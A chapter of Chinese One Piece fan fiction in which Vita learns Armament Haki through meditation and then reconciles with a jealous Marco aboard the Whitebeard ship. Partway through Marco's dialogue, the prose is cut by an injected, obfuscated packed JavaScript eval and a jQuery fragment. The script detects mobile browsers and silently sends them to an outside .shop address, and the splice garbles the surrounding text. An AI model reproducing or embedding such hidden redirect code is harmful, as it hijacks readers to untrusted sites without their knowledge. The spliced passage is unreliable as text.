经历救那缪尔这一趟,维塔认识到学习霸气不能再拖下去。
“霸气?”
比斯塔叼着烟擦拭自己的西洋剑,对维塔的问题思索一番给出自己的回答。
“霸气只是一种力量的称呼,它可以是先天拥有,也可以通过后天训练获得。不过霸王色霸气只能先天拥有,它藏在具有王的潜质的人的身体里。”
“至于武装色霸气是最常见的,是新世界的入场券。见闻色霸气的修炼需要一定天赋,不过我相信你可以的。”
比斯塔边说,维塔从裤兜里掏出一个小笔记本开始记笔记,说到关键点恍然大悟甚至发出‘奥~’。
讲完之后,维塔若有所思摩挲着下巴 ,和比斯塔对视之后高高举起右手,“比斯塔老师 ,我有问题!”
比斯塔一头黑线,尴尬抽抽嘴角,往下按了按手示意维塔不用举手提问。
“说吧。”
“老师您讲的很好,那我现在应该先学什么呢?”
武装色和见闻色维塔都想学,但是贪多嚼不烂这个道理经久不衰。做人还是不要太贪心,妄想自己是个绝世天才,老老实实选个入门能力先练着吧。
“先学武装色霸气吧,武装色也分很多种,最先掌握的就是硬化!”
比斯塔右手瞬间覆盖漆黑的的武装色霸气,抓起旁边的木桶丢在空中,随后伸出手臂。
木桶在空中翻转之后呼啸而下,然后砸在比斯塔的手臂上。
啪嚓!
落在手臂上时瞬间破裂,显然这点力度对于比斯塔来说就是毛毛雨,不痛不痒,甚至肌肉都没有一丝抖动。
维塔瞪大眼睛,上前用手指戳戳硬化之后的手臂。
铁、铁臂!
“这只是最基础的运用,但基础并不代表弱。努力修炼到极致,加上你自己的能力在伟大航路横着走是没问题的。”
“而且武装色霸气能够免疫恶魔果实的伤害,能够对自然系之类的造成伤害。”
维塔越听越兴奋,武装色简直就是万金油,什么战斗都能掺和一脚。
可细问如何训练,比斯塔就有些卡壳说不出个所以然,含糊其辞。
只说需要冥想,慢慢就能感受到体内的霸气。
这句话在维塔耳朵里无异于让一个信仰唯物主义的人去修仙,都不是一个理论体系怎么能理解。
维塔感谢比斯塔的教导,又问了几个会霸气的伙伴,但大家都没办法具体讲述出这种感受。
维塔通过大家的只言片语的描述,简单拼凑出来一个方法。
·
盘腿坐在船头,双手垂放丹田。呼吸深长缓慢,维塔将意念集中在呼吸上,随着呼吸的节奏静静感受体内血液的流动。
维塔就这样一连在船头坐了几天,大家就静静看着维塔每天训练完就坐在那里一动不动。
“维塔这是怎么了?”
“不知道啊。”
悄悄询问旁边的人,只能得到摇头的回答。
维塔从一开始的急于求成到现在已经看淡,不为发现霸气,而是修炼自己的精气神。
在精神与身体高度合一时,维塔突然发现自己能看到浑身漆黑的身体内部,出现一个光点从小腹处慢慢膨胀,四肢不停产生光点汇聚在丹田。
等到整个光点充满身体时,心念一动。光点移动到手臂,手臂表面便渐渐覆盖黑色武装色霸气。
维塔试探用手指弹弹表面,发出类似金属撞击声。
看来真的成功了!
维塔此刻想把喜悦的心情分享,冲到甲板上绕圈,见到一个人就拦住对方,要求必须看完自己武装色的展示过程才能离开。
“咦,马尔科呢?”维塔这几天在忙自己修炼的事情,感觉已经很久没有和马尔科见面聊天了。
维塔一个房间挨着一个找,那缪尔看着维塔忙碌也加入找马尔科的阵营。
两人在下面找马尔科忙的晕头转向,而真正的主角手撑在栏杆上静静看着。
瞭望台的风很大,此刻才能让马尔科内心平静下来。
他早就看到维塔修炼出霸气之后那副忙着炫耀的模样,也听到她问起自己的踪迹。
可是他就是不想下去。
他也不知道自己为什么会这样,明明朋友有了进步他应该出面送上鼓励。
维塔关系渐渐和大家变得融洽,不再像刚上船那时对每个人都生疏,可看着她笑眼盈盈看着每个人,展示自己的能力。
原本想要去祝贺的心思一下就消停了,像是故意赌气般在等维塔什么时候会主动来找他。
看到维塔满船跑只为寻找他时,心里会有说不上来的得意喜悦。
不过这一切在那缪尔加入之后就消失殆尽。
.
“马尔科,你原来在这里啊!刚刚我在下面叫你没有听到吗?”抬头看到马尔科的维塔忍不住吐槽。
马尔科看见维塔过来找他说话,故意背过身,臭着一张脸不理她。
维塔感觉这两天马尔科莫名其妙,看到她会悄悄躲开,对视之后迅速扭头,连吃饭都没有饭搭子了。
她怎么就站在那里不动了?快过来啊!
马尔科心里不安,想回头悄悄看一眼又忍住自己的好奇心。
余光中看到一颗脑袋鬼鬼祟祟从一旁探出头,“你怎么了,生气了吗?”
“我生什么气?”马尔科这话没有嘴硬,他心里很清楚他没有任何立场去生气,现在自己这样拧巴纯粹就是自己单方面不爽。
“那为什么你不开心,好像从那缪尔上船之后你就对我变了。”
维塔虽然沉浸在感悟霸气之中,可她并不是感觉不到马尔科的态度。
“没有变,我们还是朋友。”马尔科装作毫不在意,双手扶在栏杆上,看着海面卷起层层波澜,不经意间瞥见维塔皱眉的表情。
“不,变了。我们变得没有之前那么亲密,说话要遮遮掩掩,就连现在你都不愿意说出你的想法。”
“这样不好,马尔科。”
马尔科当然知道维塔说的没错,可他要怎么说出口?说他不想维塔和别人说话,说他不喜欢看到维塔冲着别人笑,说他见到维塔和那缪尔说话就心里不舒服。
说出来这算什么?
“我有什么地方做的不对,你可以说出来。”
“不!你很好,是我的原因。”听到维塔认为是自己的原因,马尔科想都不想直接脱口而出反驳。
马尔科张了张嘴想要把自己的想法说出来,可话到嘴边又说不出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233674|148365||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
口,连他自己都觉得这些想法听起来幼稚,就像是自己在无理取闹。
回头才发现维塔静静等待着他,眼里没有不耐烦。清澈真诚的眼眸全部倒映着他一个人,自己像是被一种温柔静谧所包裹,海风吹在身上也不显寒冷,反而夕阳渐沉留下的余晖照在背上暖洋洋。
马尔科大脑一片空白,嘴不受自己控制一股脑全都交代清楚。包括自己偷偷把那缪尔整理完的书全部拿下来,自己再重新放上去;维塔守夜时悄悄飞到瞭望台屋顶上陪着她······
桩桩件件干过的蠢事全都说了出来,等到马尔科反应过来时已经无法撤回。维塔就看到说着说着,马尔科脸上涌上一股红温,脸都快熟透了,感觉下一秒这只鸟就快被烧熟了。
“抱歉,是我没有太注意到你的感受。”维塔听着马尔科讲述他的想法和行为,听起来有些搞笑,可却是实打实马尔科在乎这段友情的表现。
那缪尔刚上船,那种从骨子里散发出的孤独和局促,让维塔看到了当时刚加入白胡子海贼团的自己。所以不自觉会多关照几分,就像自己上船时马尔科整日带着自己走遍船上的每一个角落。
没想到这会引得马尔科不悦,维塔很庆幸今天逼的马尔科说出心里的想法,不然在自己无意识下失去这个朋友多么可惜。
上前一步伸出自己的拳头,举在半空。
“马尔科,不要担心。我们是家人,意味着没有人会被遗忘或丢下。你永远是我最好的朋友,我的家人。”
马尔科看着面前的拳头,微微一怔,旋即眼里溢出点点笑意,眼神里是他自己都没有察觉到的温柔。
抬手相碰,拳与拳定格空中。
“我们是家人。”
丝丝情谊流淌在两人之间。
“你们两个干什么呢!下来吃饭了!”
听到下面萨奇叫他们两个吃饭,两人都忍不住笑出声。
“走吧。”
马尔科跟在维塔后面走着,脑中还忍不住回味刚刚维塔的话。
我们是家人······
嘿嘿!最好的朋友!
“你傻笑什么呢?”走过萨奇身边,萨奇一掌按在马尔科肩膀上,这才从傻乐里回过神。
马尔科意味深长地笑笑不说话。
萨奇看着马尔科走进餐厅的背影,走起路来还一颠一颠,得意洋洋的。
心里忍不住嘀咕,这家伙今天孔雀开屏了?
不对,他是不死鸟开什么屏。
马尔科全然不知自己这幅模样,谁来都能一眼看出恣意。
“yoi!那缪尔!”
那缪尔看着端着盘子坐到自己旁边吃饭的马尔科,愣在原地。正往嘴里送的食物停在嘴边,呆呆看着马尔科。
“呃,嗨马尔科。”
真奇怪,这家伙前几天还看自己不顺眼,今天怎么坐到我旁边了?
“快吃啊,别愣着了,等会儿都被抢光了。”马尔科提醒道。
“哦,哦!”那缪尔不再多想,反正不会害他没必要揣测,端起盘子往嘴里送。
一时餐厅里只剩下大口咀嚼吞咽的声音,偶尔还有被抢饭的怒骂。
一开始还不习惯如此吵闹,渐渐发现听到这些声音就代表家,嘴角扬起笑意。